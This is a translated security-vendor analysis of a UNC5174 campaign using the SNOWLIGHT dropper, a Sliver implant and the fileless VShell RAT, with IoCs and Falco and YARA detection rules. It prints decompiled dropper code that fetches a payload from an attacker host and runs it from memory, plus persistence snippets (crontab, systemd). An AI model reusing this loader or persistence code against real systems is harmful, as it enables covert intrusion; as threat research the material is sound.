本文の内容は、2025年4月15日に Alessandra Rizzo が投稿したブログ(https://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/)を元に日本語に翻訳・再構成した内容となっております。
Sysdig脅威リサーチチーム(TRT)は、1年間の監視下における活動を経て、中国政府が支援する脅威アクターUNC5174による新たな攻撃キャンペーンを特定しました。この脅威アクターは、2025年1月下旬に新たなオープンソースツールとコマンドアンドコントロール(C2)インフラストラクチャーを使用していたことが判明しました。私たちはまず、複数の実行可能ファイルをダウンロードして永続化を図る悪意のあるbashスクリプトを発見しました。ダウンロードされたバイナリの1つは、UNC5174のSNOWLIGHTマルウェアの亜種であり、これは以前MandiantによってF5デバイスに対する攻撃キャンペーンで特定され、最近ではフランス国立情報システムセキュリティ機関(ANSSI)が2025年3月に発表したフランスのサイバー脅威概要レポートでも言及されています。
以前はオープンソースのリバースシェルツール「SUPERSHELL」を使用していたUNC5174は、今回のキャンペーンで新たにリリースされたオープンソースツール「VShell」を採用しています。地下チャネルでの評判によれば、VShellは広く知られている「Cobalt Strike」フレームワークよりも「さらに優れている」と考えられています。
2024年の「グローバル脅威レビュー」では、脅威アクターがコスト効率や難読化の観点からオープンソースツールを兵器庫に取り入れる傾向が高まっていると報告しました。これにより、費用を抑えると同時に、国家支援を受けていない、技術的にも未熟な攻撃者(いわゆるスクリプトキディなど)と同質化することで、攻撃者の特定をさらに困難にすることができます。
この傾向は、過去1年間にわたり中国政府との関係が取り沙汰されて以来、表立った活動を控えていたこの特定の脅威アクターにおいて、特に顕著に見られるようです。

SNOWLIGHTマルウェアは、メモリ上のみに存在するファイルレスペイロード「VShell」のドロッパーとして機能します。VShellはリモートアクセス型トロイの木馬(RAT)で、中国語話者のサイバー犯罪者の間でいくつかのフォーラムにおいて人気があり、その主要な開発者も中国語話者です。
VShellは通常、マルウェアドロッパーにデフォルトで含まれているわけではなく、SNOWLIGHTマルウェアと直接的な関連はありません。この特定の配信手法を通じたファイルレスペイロードの使用は、UNC5174にのみ確認されています。この脅威アクターが用いるツールのほとんどはカスタマイズされており、他者によって簡単に模倣されることはありません。我々が分析した技術の高度さも、彼らの高い技術的能力と一致しています。
我々の分析およびこれまでの経験に基づき、UNC5174の動機はスパイ活動、もしくは被害者環境へのアクセスを売却・仲介することにあると考えています。
SNOWLIGHTとVShellは、そのステルス性と高度な技術により、組織に対して重大なリスクをもたらします。これは、WebSocketを用いたコマンド&コントロールや、我々が確認したファイルレスなVShellペイロードの使用によって裏付けられています。我々は中程度の確信をもって、この脅威アクターが今後も、中国政府に対して断続的に支援を行い、カスタムツールとオープンソースツールを組み合わせた拡張性のある兵器庫および広範なC2インフラを用いて、スパイ活動およびアクセス仲介を継続すると評価しています。
Sysdigのお客様およびFalcoユーザーは、VShellのデプロイから保護されています。以下の分析では、我々の観測に基づく技術的詳細を深掘りしています。
UNC5174の背景
脅威アクターUNC5174は、中国政府のために活動する請負業者であると考えられています。HiveProとMandiantによると、UNC5174は米国、カナダ、英国などの西側諸国を標的としています。これらの国の被害者は、多くの場合、研究機関、政府機関、シンクタンク、テクノロジー企業です。UNC5174はアジア太平洋地域の様々な非政府組織(NGO)も標的としており、場合によってはエネルギー、防衛、医療といった重要インフラ分野の企業も標的にしています。
2025年3月にANSSI(フランス国家情報システムセキュリティ庁)から発表された「2024年フランス・サイバー脅威概況レポート」によると、UNC5174は2024年夏季オリンピック期間中にIvantiのCloud Service Appliance(CSA)製品を悪用していました。SOCRadarによれば、この脅威アクターは2019年にも、悪意のあるメール添付ファイルを用いたフィッシング手法でマルウェアを配布していたと報告されています。
また、Objective-Seeが2024年のマルウェア回顧レポートで報告したところによれば、SNOWLIGHTマルウェアがMacOSシステムを積極的に標的としている証拠も確認されています。
今回のキャンペーンにおいて、UNC5174が初期侵入手段として何を用いているかは明らかではありませんが、Linuxベースのシステムを標的としていることは確認されています。我々は高い確信をもって、新たなインフラがドメインスクワッティングと一致しており、フィッシングやソーシャルエンジニアリングのために使用されていると評価しています。これらのドメインは主に既知の企業を偽装しており、直近ではCloudflareを模倣した事例が確認されました。他にも、メッセージングアプリのTelegram、金融サービス企業のHuione Pay、Googleを偽装したドメインも最近観測されています。
過去のキャンペーン
VirusTotal(VT)におけるSNOWLIGHTサンプルのタグを調査する中で、我々が最新のバイナリで観測した手法と同様にVShellバイナリをドロップする最初のサンプルが、2024年11月に初めて検出されたことが判明しました。それ以降、複数のドロッパーが検出されており、今回のキャンペーンで確認された最新のサンプルのひとつが、 dnsloger
サンプルです。このことから、本キャンペーンは2024年11月以降、あまり公に注目されることなく継続されていると推定されます。
SNOWLIGHTマルウェアは、実行時およびメモリ上でのダウンロード時に「[kworker/0:2]」という名称を使用します。VirusTotalで関連するVShellのハッシュを検索する中で、以前には報告されていなかったUNC5174のキャンペーンに関連していると考えられる複数のバイナリを発見しました。使用したクエリは以下の通りです:
behaviour_processes:"/memfd:a (deleted)/ [kworker/0:2]"
これにより、2024年11月以降、UNC5174 C2インフラストラクチャー(googlespays[.]com)が新たに発見されました。Googleブランドのなりすましは、現在のC2ドメインのパターンと一致し、VShellバイナリの取得に必要なパラメータが含まれています。
2024 年 11 月の VShell バイナリも、C2 ドメイン apib[.]googlespays[.]com 経由で WebSocket プロトコルを使用します。これは、最新のサンプルとドメインで観察されたものと同じ攻撃チェーンと識別可能な特徴です。
UNC5174の新しいキャンペーン
初期侵入の後、悪意あるBashスクリプトが2つのペイロードをドロップします: dnsloger
(SNOWLIGHTマルウェアに関連)と system_worker
(SliverおよびCobalt Strikeに関連)。
このステップの主な目的は永続化の確立であり、さらなる悪用のためにSliverインプラントとメモリ上のバックドア(VShell)を配置します。

ドメイン分析
このキャンペーンでは、新しい C2 ドメインが観察されました。
gooogleasia[.]com
(Googleとは一切関係ありません)sex666vr[.]com
これらのドメインには複数のサブドメインが存在しており、その中には login[.]microsoftonline[.]gooogleasia[.]com
のように他のブランド名を含むものもあります。これらは、フィッシングを目的としたドメインスクワッティングによって使用された可能性が高いと考えられます。
2025年3月下旬時点で、IoCセクションに記載されている新たなドメインが検出されており、以下の通り、同様の手口が見られたことから、本稿公開時点でもこのキャンペーンは依然として活動中であると確信しています。具体的には以下のとおりです。
telegrams[.]icu
(おそらくTelegramを装っている)huionepay[.]me
(おそらくHuione Payになりすましている)c1oudf1are[.]com
(おそらくCloudflareを装っている)
Googleasia[.]com
ドメイン gooogleasia[.]com
は2023年9月1日に作成され、2025年1月16日時点ではIPアドレス 34[.]96[.]239[.]183 に解決されていました。このIPは、Google Compute Engine(GCE)の仮想マシンに割り当てられたホスト名で、香港に位置しています。GCEは、Googleのインフラ上で仮想マシンを作成・実行できるコンピューティングおよびホスティングサービスです。
調査の過程で、 gooogleasia[.]com およびそのサブドメインのホスティングIPが新たに変更されていることが確認されました。2025年2月21日には、新たなIPアドレス 34[.]96[.]252[.]230 が割り当てられています。
MalTrailも、 gooogleasia[.]com
の複数のサブドメインをCobalt StrikeのC2(コマンド&コントロール)として分類しています。
evil[.]gooogleasia[.]com
account[.]gooogleasia[.]com
ks[.]evil[.]gooogleasia[.]com
btt[.]evil[.]gooogleasia[.]com
VTコミュニティのコンテンツユーザーは、同一IP上のポート8888および443で複数のSliver C2サーバーを特定しており、これは我々が発見したSliverインプラント system_worker
ペイロードの使用とも一致しています。ペイロードの使用とも一致しています。
Sex666vr[.]com
このキャンペーンで使用されたもう一つのC2ドメインは sex666vr[.]com
、IPアドレス34[.]91[.]68[.]192に解決されます。UNC5174は2024年10月に最後に確認されているため、このIPアドレスをこのキャンペーンで使用していないと考えられます。
テクニカル分析
download_backd.sh
SHA256 Hash: c0838b1211d482d21ccb2c9cc9fb224d1f826474d496a76d21ca18fa2ef92bc1
こちらが、dnsloger
および system_worker
バイナリをダウンロードおよび実行する役割を担う元のBashスクリプトです。このシェルスクリプトには、ドロップされた悪意ある実行ファイルが想定されたMD5ハッシュと一致するかどうかを検証する複数の関数が含まれています。一致しない場合、スクリプトは再ダウンロードを試みます。

このスクリプトは、自身がroot権限で実行されているかどうか (id -u = 0
) も確認します。root権限でない場合、ダウンロードした実行ファイルを /tmp
に保持します。一方で、root権限で実行されている場合は、実行ファイルを /usr/bin/
に移動させ、永続性を高め、削除をより困難にし、他の正規バイナリと同化することで発見されにくくするとともに、システム全体での実行を可能にします。
if [ "$(id -u)"
= "0" ]
echo "Running as non-root user, keeping them in /tmp"
Set the file timestamp to match the target folder
touch --reference=/usr/bin /tmp/$executable
永続性を保つために、スクリプトはcrontab を悪用し、実行可能ファイルを追加して 1 時間ごとに実行され、再起動後に実行されるようにし、最終的にバックグラウンドで起動します。
Add the programs to crontab for execution at reboot and every hour
echo "Adding programs to crontab..."
(crontab -l 2>/dev/null
echo "@reboot /usr/bin/$executable1"
echo "@reboot /usr/bin/$executable2"
echo "0 * * * * /tmp/$executable1"
echo "0 * * * * /tmp/$executable2")
このスクリプトは、 dnsloger
および system_worker
という2つの悪意あるバイナリを、システム起動時に実行されるように設定します。新しいシステムでは systemd
を使用し、古いシステムでは init.d
を用います。 systemd
を使用する場合、 Systemctl
によって systemd
の設定を再読み込みし、最終的に悪意あるサービスを起動させます。 init.d
を使用するシステムでは、 chkconfig
を使用してサービスが起動時に実行されるように設定します。
cat <<EOF > /etc/systemd/system/$executable.service
[Unit]
Description=$executable Application Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/$executable
Restart=always
RestartSec=3600
[Install]
WantedBy=multi-user.target
echo "Setting up systemd service for $executable..."
retry_with_timeout "systemctl daemon-reload"
retry_with_timeout "systemctl enable $executable.service"
retry_with_timeout "systemctl start $executable.service"
SNOWLIGHT
Payload name: dnsloger
SHA256: e6db3de3a21debce119b16697ea2de5376f685567b284ef2dee32feb8d2d44f8
ダウンロードされた実行ファイル dnsloger
は、VirusTotal上でUNC5174によって使用されているSNOWLIGHTマルウェアファミリーの一部として検出されており、これは以前HiveProによって報告されています。このマルウェアは、Linuxの内部構造に関する深い知識を示す複数の処理を行っており、永続化、防御回避、インジェクション技術が確認されています。
無料のリバースエンジニアリングツール radare2 を用いた解析では、いくつかのパラメータやファイル名がハードコードされていることが判明しました。たとえば、User-Agentは User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0 に設定されており、C2サーバーには vs[.]gooogleasia[.]com が使用されています。

Ghidra を使用してバイナリをデコンパイルすると、次の C コードが生成されます。
{
int iVar1;
in_addr_t iVar2;
int iVar3;
int iVar4;
hostent *phVar5;
ssize_t sVar6;
byte *pbVar7;
long lVar8;
char *pcVar9;
ushort uVar10;
bool bVar11;
byte bVar12;
undefined4 local_1c4c;
char *local_1c48;
undefined8 local_1c40;
sockaddr local_1c38;
char local_1c28 [1024];
char local_1828 [1024];
char local_1428 [1024];
byte local_1028 [4104];
bVar12 = 0;
iVar1 = access("/tmp/log_de.log",0);
if (iVar1 != 0) {
local_1c38.sa_data[6] = '\0';
local_1c38.sa_data[7] = '\0';
local_1c38.sa_data[8] = '\0';
local_1c38.sa_data[9] = '\0';
local_1c38.sa_data[10] = '\0';
local_1c38.sa_data[0xb] = '\0';
local_1c38.sa_data[0xc] = '\0';
local_1c38.sa_data[0xd] = '\0';
local_1c38.sa_family = 2;
local_1c38.sa_data[0] = ' ';
local_1c38.sa_data[1] = -5;
local_1c38.sa_data[2] = '\0';
local_1c38.sa_data[3] = '\0';
local_1c38.sa_data[4] = '\0';
local_1c38.sa_data[5] = '\0';
phVar5 = gethostbyname("vs.gooogleasia.com");
if (phVar5 == (hostent *)0x0) {
iVar2 = inet_addr("vs.gooogleasia.com");
}
else {
iVar2 = *(in_addr_t *)*phVar5->h_addr_list;
}
local_1c38.sa_data._2_4_ = iVar2;
iVar1 = socket(2,1,0);
if (-1 < iVar1) {
local_1c4c = 10;
setsockopt(iVar1,6,7,&local_1c4c,4);
while (iVar3 = connect(iVar1,&local_1c38,0x10), iVar3 == - 1) {
sleep(10);
}
uVar10 = (ushort)local_1c38.sa_data._0_2_ >> 8 | local_1c 38.sa_data._0_2_ << 8;
sprintf(local_1c28,
"GET /?a=%s&h=%s&t=%s&p=%d HTTP/1.1\r\nHost: % s:%d\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48. 0) Gecko/20100101 Firefox/48.0\r\n\r\n"
,"l64","vs.gooogleasia.com","ws_",(uint)uVar10,"vs.goo ogleasia.com",(uint)uVar10);
send(iVar1,local_1c28,0x400,0);
pcVar9 = local_1c28;
for (lVar8 = 0x100; lVar8 != 0; lVar8 = lVar8 + -1) {
pcVar9[0] = '\0';
pcVar9[1] = '\0';
pcVar9[2] = '\0';
pcVar9[3] = '\0';
pcVar9 = pcVar9 + (ulong)bVar12 * -8 + 4;
}
iVar3 = 0;
while( true ) {
sVar6 = recv(iVar1,local_1828,1,0);
if (((int)sVar6 < 1) ||
((((bVar11 = local_1828[0] == '\n', local_1828[iVar3] = l ocal_1828[0], bVar11 &&
(local_1828[iVar3 + -1] == '\r')) && (local_1828[iVar3 + -2] == '\n')) &&
(local_1828[iVar3 + -3] == '\r')))) break;
iVar3 = iVar3 + (int)sVar6;
}
lVar8 = syscall(0x13f,&DAT_00400e50,1); // Sysdig: memfd_create
iVar3 = (int)lVar8;
if (-1 < iVar3) {
while( true ) {
sVar6 = recv(iVar1,local_1028,0x1000,0);
iVar4 = (int)sVar6;
pbVar7 = local_1028;
if (iVar4 < 1) break;
do {
*pbVar7 = *pbVar7 ^ 0x99;
pbVar7 = pbVar7 + 1;
} while ((int)pbVar7 - (int)local_1028 < iVar4);
write(iVar3,local_1028,(long)iVar4);
}
for (lVar8 = 0x400; lVar8 != 0; lVar8 = lVar8 + -1) {
pbVar7[0] = 0;
pbVar7[1] = 0;
pbVar7[2] = 0;
pbVar7[3] = 0;
pbVar7 = pbVar7 + (ulong)bVar12 * -8 + 4;
}
close(iVar1);
realpath((char *)*param_2,local_1428);
setenv("CWD",local_1428,1);
local_1c48 = "[kworker/0:2]";
local_1c40 = 0;
fexecve(iVar3,&local_1c48,environ);
close(iVar1);
}
}
return 0;
}
/* WARNING: Subroutine does not return */
exit(0);
}
コードはまず、ログファイル (/tmp/log_de.log
) の存在を確認します。ファイルが存在しない場合、ネットワーク通信のためのソケットを設定し、リモートサーバーへの接続を試みます。その後、 vs[.]gooogleasia[.]com
の名前解決と接続を試行し、ハードコードされたユーザーエージェントなどの特定のクエリパラメータを含むHTTP GETリクエストを送信します。
SNOWLIGHTマルウェアは、recvfrom
システムコールを用いてネットワーク越しにデータを受信しようとします。recvfrom
は、通常UDPまたはTCP通信のためにソケットからデータを読み取るシステムコールであり、ネットワークサーバーやクライアントなど、ネットワーク越しにメッセージを受信する必要のあるアプリケーションで一般的に使用されます。本攻撃チェーンにおいては、recvfrom
システムコールは、追加のペイロードやC2サーバーとの通信を受信するために設定されている可能性があります。
マルウェアはその後、サーバーからのデータを受信するまで待機し、受信したデータを0x99でXOR演算することで、内容の難読化または暗号化を試みていることが示唆されます。最後に、システム関数を使用して環境変数を操作し、現在の作業ディレクトリを環境変数「CWD」に設定するなどの処理を行います。
Sliver
Payload name: system_worker
SHA-256: 21ccb25887eae8b17349cefc04394dc3ad75c289768d7ba61f51d228b4c964db
ダウンロードされた実行ファイル system_worker は、2025年1月19日時点でVirusTotal上においてSliverマルウェアとして分類されています。このバイナリは、UPXでパックされており、さらにgobfuscateによって難読化されています。
我々は、GitHubで公開されているGhidra用プラグイン “degobfuscate.py
” を使用して難読化を解除し、アンパックされたバイナリの機能がSliverのGoパッケージで確認されているものと同一であることを確認しました。


Sliverインプラントは、C2オペレーションで使用されるマルウェアの一種で、攻撃者が侵入したシステムをリモート制御できるようにします。標的のマシンに展開されると、インプラントは攻撃者の足掛かりとなり、悪意のあるアクションの実行、情報の収集、感染システムのリモート制御などを可能にします。
system_worker
のランタイムにおける振る舞いを分析したログでは、このバイナリが以下に示すとおり、 sex666vr[.]com
にホスティングされた複数のC2サブドメインへ接続を試みていることが判明しました。
2595 16:18:10.087506663 1 vt_21ccb25887ea (12080.12080) < read res=62 data=.*...........mtls.sex666vr.com..............,.."`....)........
10051 16:19:10.356965588 1 vt_21ccb25887ea (12080.12090) < read res=112 data=.P...........wg.gooogleasia.com................5.ns1.name...hostmaster.nsone....
34257 16:22:17.391257404 1 vt_21ccb25887ea (12080.12099) < write res=47 data=A............https.sex666vr.com.......)........
より具体的には、このバイナリはSliverインプラントに典型的なセキュアな通信チャネルを使用しており、相互TLS(mTLS)、WireGuard、HTTPSなどのプロトコルが含まれています。これらのプロトコルは、前述のサブドメインにおいて確認されています。
VShell
Name: Fileless (memfd)
SHA256: 8d88944149ea1477bd7ba0a07be3a4371ba958d4a47b783f7c10cbe08c5e7d38
dnsloger
(SNOWLIGHT)バイナリは、C2サーバーに対して巧妙に構築されたGETリクエストを送信することで、VShellバイナリをダウンロードします。この挙動は、以下のsendtoシステムコールのログから確認できます。
2011 16:09:00.720663842 1 vt_e6db3de3a21d (12202.12202) < sendto res=1024 data=GET /?a=l64&h=vs.gooogleasia.com&t=ws_&p=8443 HTTP/1.1..Host: vs.gooogleasia.... A
VShellは、侵害されたシステムへのリモートアクセスおよび制御に使用されるバックドアです。このバイナリは、2024年にGitHub上で “veo” というユーザーによって “vshell” リポジトリに公開されました。本キャンペーンにおいては、ドロッパーであるSNOWLIGHTが memfd_create
(システムコール0x13f)を用いてVShellを作成しています。
これはファイルレスマルウェアの典型的な特徴であり、悪意あるコードが完全にメモリ上に存在し、ディスクには一切書き込まれないため、従来のファイルベースのスキャンによる検知が困難になります。
2377 16:09:00.923728239 1 vt_e6db3de3a21d (12202.12202) < memfd_create fd=4(<m>a) name=a flags=1(MFD_CLOEXEC)
これはシステムプロセス ([ kworker/0:2
]) に偽装され、fexecve
システムコールを介して実行されます。これは、上記の SNOWLIGHT セクションのデコンパイルされたコードに示されています。このシステムコールは、ファイル記述子として開かれたバイナリの実行を可能にします。ファイルパスを指定する代わりに、開いているファイル記述子を指定すると、fexecve()
プログラムはメモリから実行されます。また、現在のプロセスがアクセス可能なすべての環境変数も渡されます。
fexecve(iVar3, &local_1c48, environ);
このバイナリはGobfuscateで難読化されており、ファイルレスバイナリに典型的な“memfd
.”で始まる .exe
形式の名称が付けられています。作成時のファイル名は “a
” となっており、後に “kworker
” に変更され、正規のカーネルプロセスに偽装して目立たないようにしています。
背景
この記事によると、VShellの元の開発者は法的な理由からリリースを完全に削除することを決定しましたが、依然としてインターネット上で流通しています。さらに、ライセンスの有効期限が切れているため、技術的には法的に使用できなくなっています。しかし、記事にはライセンスの有効期限を回避してVShellを設定する方法へのリンクが掲載されています。

中国語の VShell の完全なタイトルをオンラインで検索すると、以下に示すように、サードパーティのファイル共有 Web サイトからバイナリを含むダウンロード可能な zip アーカイブが見つかります。

もちろん、GitHub には、VShell とその使用方法に関するドキュメントがまだ含まれているクローン リポジトリも多数あります。

VShellはリリース以来、主にリモートアクセスやC2攻撃といった悪質な活動に悪用されてきました。RAT(リモートアクセス型トロイの木馬)として機能し、悪用者は任意のコマンドを実行したり、ファイルをダウンロードまたはアップロードしたりすることができます。
我々が調査したこのマルウェアの想定されるユースケースによれば、VShellのクライアントは、対象システムに応じてC2サーバーからダウンロード可能となっています。VShellコンソールを通じてさらにダウンロード可能なペイロード名は、調査により確認されたものと一致しており、たとえば linux_i386
などが含まれています。


上の画像から、様々なペイロードが、VShellメインコンソールに接続された感染マシンにLinux、Windows、macOS用のシェルコードと悪意のあるバイナリを挿入できることがわかります。このマルウェアは、侵害されたマシンからのファイルのアップロードとダウンロードもサポートしています。
メモリ操作
VShellが実行されると、システム上で一連の不審なメモリ操作を実行します。mmapおよびmmap2システムコールを複数回使用しており、その際に fd=-1
(ファイルディスクリプタなし)と MAP_PRIVATE | MAP_ANONYMOUS
といったフラグを組み合わせて使用しています。これは、ファイルとは無関係にメモリを割り当てていることを示唆しています。
このプロセスは、ランダムに見える大きなメモリブロックを繰り返し割り当てており、一部のマッピングは64MB、128MB、512MBといった非常に大きなサイズで、アクセス権限がPROT_NONE(読み書き不可)に設定されています。このような「空白」メモリは、後に実行可能なアクセス権(PROT_EXEC)に変更される可能性があり、これはファイルレスマルウェアで一般的に見られる挙動です。攻撃者のC2サーバーから追加ペイロードが送信され得ることを踏まえると、これらのアクセス不能なメモリ領域は、そのような追加ペイロードのために事前にマッピングされていると考えるのが妥当です。
また、VShellによってダウンロードされるペイロードやシェルコードが不自然に大きいため、それらを圧縮・縮小する方法に関する記事も確認されており、20MBのペイロードを1KBのシェルコードに縮小する手法が紹介されていました。

コマンド & コントロール
書き込みデータ内に Upgrade: websocket および Connection: Upgrade ヘッダーが存在することから、このプロセスが vs[.]gooogleasia[.]com
のポート8443に対して、HTTP接続からWebSocket接続へのアップグレードを試みていることが示されています。WebSocketは、単一のTCP接続上で双方向通信チャネルを提供するプロトコルです。
11949 16:09:03.107155929 1 4 (12202.12202) < write res=163 data=GET /w HTTP/1.1..Host: vs.gooogleasia.com:8443..Upgrade: websocket..Connectio...
11963 16:09:03.297903241 1 4 (12202.12202) < read res=129 data=HTTP/1.1 101 Switching Protocols..Upgrade: websocket..Connection: Upgrade..Se...
12437 16:09:04.387602087 1 4 (12202.12213) < write res=163 data=GET /w HTTP/1.1..Host: vs.gooogleasia.com:8443..Upgrade: websocket..Connectio...
12515 16:09:04.576754849 1 4 (12202.12213) < read res=129 data=HTTP/1.1 101 Switching Protocols..Upgrade: websocket..Connection: Upgrade..Se...
12871 16:09:05.345517369 1 4 (12202.12213) < write res=163 data=GET /w HTTP/1.1..Host: vs.gooogleasia.com:8443..Upgrade: websocket..Connectio...
12939 16:09:05.536259167 0 4 (12202.12202) < read res=129 data=HTTP/1.1 101 Switching Protocols..Upgrade: websocket..Connection: Upgrade..Se...
C2にWebSocketを選択することは目新しいことではありませんが、マルウェアにとって典型的な選択肢でもありません。長年にわたり、PY#RATIONなど、C2通信にWebSocketを使用するマルウェアに関する報告がいくつかありました。WebSocket C2は、標準的な方法と比較して攻撃者にとって設定が複雑であり、通常はポート80または443で実行されます。
このケースでは、攻撃者はVShellをHTTPSポート(8443)で実行するように設定しています。HTTPSトラフィックは暗号化されているため、これは重要な意味を持ちます。ランタイムキャプチャでは、接続がWebSocketにアップグレードされた後のネットワークトラフィックには、いくつかのランダムな単語を除いて、注目すべきものは何も見られなかったことが確認されました。
感染ホストがUI(下図参照)を介して管理されていることを考えると、UNC5174はWebSocketを好んで利用している可能性が高いと考えられます。これは、ペイロードを暗号化されたトラフィックを介してリアルタイムで侵入先マシンに送信できるためです。過去数年にわたり、ウイルス対策ソリューションがWebSocket経由のマルウェアC2通信を検出できないという報告がいくつかありました。そのため、脅威アクターが防御回避を目的として、あまり一般的ではないC2チャネルを利用しようとしている可能性もあります。

WebSocketの選択は、私たちが分析したVShellバイナリの全てに共通しているわけではないようです。VShellバイナリは複数のプロトコル(主にTCPとUDP)を含んでいました。私たちの知る限り、VShellでのWebSocketの使用は、このキャンペーン、そしてそのドロッパーであるSNOWLIGHTの特徴的な部分です。
まとめ
このキャンペーンは、中国国家支援型脅威アクターUNC5174による新たな動向を示しています。Mandiantが最初に報告したとおり、SNOWLIGHTはカスタムドロッパーであり、侵害された環境への初期侵入を果たし、さらなる悪用、具体的にはスパイ活動やアクセスの再販に利用されている可能性があります。今回の新たなキャンペーンでは、中国発の人気オープンソースRATであるVShellが、UNC5174のツールセットに加えられています。
SNOWLIGHTおよびVShellは、組織に対して重大なリスクをもたらします。WebSocketの活用やファイルレスなVShellペイロードの使用といった手法は、分析された技術や手口から、高度な技術的知見を有していることを示しています。これまで、この脅威アクターによるVShellの使用に関する公的な文書が存在していなかったことからも、我々が収集した証拠に基づき、このキャンペーンは少なくとも2024年11月から活動していると考えられます。
我々は中程度の確信をもって、この脅威アクターが今後も中国政府への支援を継続し、関心国の組織へのアクセスを得ることを目的に、兵器庫を拡張していくと評価しています。UNC5174はまた、検知および警告を最小限に抑えるため、ファイルレスペイロードや新しいツール、高頻度で変化するネットワークインフラを含むステルス性の高い手法を今後も継続して使用していく可能性が高いと見られます。
UNC5174のキャンペーン検知
Sysdig のお客様は、次のルールにより VShell のデプロイメントから保護されます。
Falco ユーザーは、以下のルールを適用して VShell の脅威を検出できます。
Falco
Sysdig Runtime Threat Detection
VShellの実行が、その親プロセスであるSNOWLIGHTによって開始されたことを検知します。
- rule: Fileless Malware Detected (memfd)
desc: This rule detects the loading and execution of a fileless ELF malware, indicating potential memory-based attacks. An attacker could leverage this technique to bypass traditional file-based detection methods and evade detection by executing malicious code directly in memory.
condition: spawned_process and proc.is_exe_from_memfd=true and evt.arg.flags contains "EXE_FROM_MEMFD" and proc_exepath_exists
output: An ELF %proc.exe was loaded and executed in memory on %container.name and parent %proc.pname under user %user.name (evt.type=%evt.type proc.exe=%proc.exe proc.name=%proc.name proc.exepath=%proc.exepath proc.pname=%proc.pname proc.pexepath=%proc.pexepath gparent=%proc.aname[2] gexepath=%proc.aexepath[2] ggparent=%proc.aname[3] ggexepath=%proc.aexepath[3] gggparent=%proc.aname[4] container.name=%container.name image=%container.image.repository:%container.image.tag proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline gcmdline=%proc.acmdline[2] proc.cwd=%proc.cwd user.name=%user.name user.loginuid=%user.loginuid user.uid=%user.uid user.loginname=%user.loginname proc.pid.ts=%proc.pid.ts proc.ppid.ts=%proc.ppid.ts proc.hash.sha256=%proc.hash.sha256)
priority: CRITICAL
Sysdig Runtime Threat Detection
C2 からさらにペイロードをダウンロードする前に、メモリ内の VShell 準備段階を検知します。
- rule: Memory Manipulation by Fileless Program
desc: Detects the allocation of large, anonymous unused memory regions (64 MB or more) by a process, where the memory is not associated with a file descriptor, and the process is executed directly from memory, where the allocated space gets reserved for later use. This behavior is characteristic of fileless payloads that reside and execute entirely in memory without writing to disk, evading traditional file-based detection mechanisms.
condition: (evt.type in (mmap,mmap2) and evt.dir = > and evt.rawarg.length >= 67108864 and evt.arg.flags contains "MAP_PRIVATE" and evt.arg.flags contains "MAP_ANONYMOUS" and evt.arg.prot contains "PROT_NONE" and fd.num = -1 and proc.is_exe_from_memfd = true and proc_exepath_exists)
output: Fileless process %proc.exe allocated a large amount of memory %evt.arg.length on %container.name under user %user.name (evt.type=%evt.type proc.exe=%proc.exe proc.name=%proc.name proc.exepath=%proc.exepath proc.pname=%proc.pname proc.pexepath=%proc.pexepath gparent=%proc.aname[2] gexepath=%proc.aexepath[2] ggparent=%proc.aname[3] ggexepath=%proc.aexepath[3] gggparent=%proc.aname[4] container.name=%container.name image=%container.image.repository:%container.image.tag proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline gcmdline=%proc.acmdline[2] proc.cwd=%proc.cwd user.name=%user.name user.loginuid=%user.loginuid user.uid=%user.uid user.loginname=%user.loginname fd.num=%fd.num evt.arg.prot=%evt.arg.prot evt.arg.flags=%evt.arg.flags evt.arg.length=%evt.arg.length)
tags: [host, container]
priority: CRITICAL
YARA
Sysdig のお客様は、次の YARA ルールを利用して SNOWLIGHT の脅威を検知することもできます。
rule SNOWLIGHT_DROPPER_SYSDIG
{
meta:
author = "Alessandra Rizzo"
description = "This rule detects strings seen in SNOWLIGHT malware acting as a dropper for fileless payloads."
md5 = "96f307b0ba3bb11715fab5db8d61191f"
platforms = "Linux"
malware_family = "SNOWLIGHT"
strings:
$http_get_request = { 77 73 5f 00 6c 36 34 00 47 45 54 20 2f 3f 61 3d 25 73 26 68 3d 25 73 26 74 3d 25 73 26 70 3d 25 64 }
$user_agent = { 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 72 76 3a 34 38 2e 30 29 20 47 65 63 6b 6f 2f 32 30 31 30 30 31 30 31 20 46 69 72 65 66 6f 78 2f 34 38 2e 30 }
$fileless_payload_masked_name = { 5b 6b 77 6f 72 6b 65 72 2f 30 3a 32 }
condition:
uint32(0) == 0x464c457f and all of them
}
IoC
IoC Type | IoC | Note |
Domain | vs[.]gooogleasia[.]com | VShell Console |
IP Address | 34[.]96[.]239[.]183 | C2 Address |
IP Address | 8[.]219[.]171[.]47 | C2 Address |
Domain | apib[.]googlespays[.]com | SNOWLIGHT Dropper Domain (November 2024) |
IP Address | 188[.]114[.]97[.]3 | C2 Address |
URL | http://vs[.]gooogleasia[.]com:8443/?a=l64&h=vs.gooogleasia.com&t=ws_&p=8443 | VShell Payload Downloader |
SHA256 | e6db3de3a21debce119b16697ea2de5376f685567b284ef2dee32feb8d2d44f8 | SNOWLIGHT |
SHA256 | 8d88944149ea1477bd7ba0a07be3a4371ba958d4a47b783f7c10cbe08c5e7d38 | VShell |
SHA256 | 21ccb25887eae8b17349cefc04394dc3ad75c289768d7ba61f51d228b4c964db | Sliver Implant |
Domain | sex666vr[.]com | C2 Domain |
IP Address | 34[.]55[.]187[.]149 | C2 Address |
URL | http://ciscocdn[.]com:8888/supershell/compile/download/x64 | SuperShell Downloader, possibly part of a previous campaign |
URL | http://www[.]bing-server[.]com:443 | URL possibly part of a previous campaign |
SHA56 | 6579defcd1326efad359c59cfe9a76d7df375e54f6e977dd880d10f81325999e | SNOWLIGHT (November 2024 Campaign) |
SHA256 | f064fdd24c56f2d20f1a6a32fc7edbd3848f962b25965b788b0dc725eeab9db4 | VShell (November 2024 Campaign) |
Domain | evil[.]gooogleasia[.]com | Identified subdomain |
Domain | account[.]gooogleasia[.]com | Identified subdomain |
Domain | ks[.]evil[.]gooogleasia[.]com | Identified subdomain |
Domain | btt[.]evil[.]gooogleasia[.]com | Identified subdomain |
IP Address | 34[.]150[.]33[.]237 | Hosted gooogleasia[.]com |
